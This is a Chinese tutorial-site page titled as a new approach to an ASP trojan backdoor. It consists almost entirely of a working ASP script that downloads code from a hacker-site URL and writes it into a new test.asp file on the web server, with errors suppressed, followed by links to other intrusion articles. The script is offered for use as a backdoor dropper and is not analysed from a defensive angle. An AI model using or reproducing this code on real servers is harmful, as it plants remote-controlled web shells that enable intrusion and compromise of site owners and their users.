手机
当前位置:查字典教程网 >实用技巧 >漏洞研究 >ASP木马后门新思路
ASP木马后门新思路
摘要:

<%

FunctionGetPage(url)

dimRetrieval

SetRetrieval=createObject("Microsoft.XMLHTTP")

WithRetrieval

.Open"Get",url,False',"",""

.Send

GetPage=BytesToBstr(.ResponseBody)

EndWith

SetRetrieval=Nothing

EndFunction

FunctionBytesToBstr(body)

dimobjstream

setobjstream=Server.createObject("adodb.stream")

objstream.Type=1

objstream.Mode=3

objstream.Open

objstream.Writebody

objstream.Position=0

objstream.Type=2

objstream.Charset="GB2312"

BytesToBstr=objstream.ReadText

objstream.Close

setobjstream=nothing

EndFunction

onerrorresumenext

Url="http://www.heibai.org/hacker/daemon.txt"

response.write"开始取得远程代码........"

wstr=GetPage(Url)

Setfs=Server.createObject("Scripting.FileSystemObject")

SetCrFi=fs.createTextFile(server.MapPath("./")&"test.asp")

Crfi.Writeline(wstr)

setCrFi=nothing

setfs=nothing

response.write"...<fontcolor=red>生成test.asp文件成功</font>"

%>

【ASP木马后门新思路】相关文章:

图片引发的溢出危机(图)

新思路现动网新漏洞

入侵之中杀防火墙进程的代码

人气永夺冠军 教你无限自动刷票(图)

JSP中的源代码泄漏问题

BBSXP5.15最新漏洞精简版

打造完美的IE网页木马

Pclxav木马猎手第一代特征码引擎源代码

缓冲区溢出:十年来攻击和防卫的弱点

MySQL Proxy(解决注入的另一思路)

精品推荐
分类导航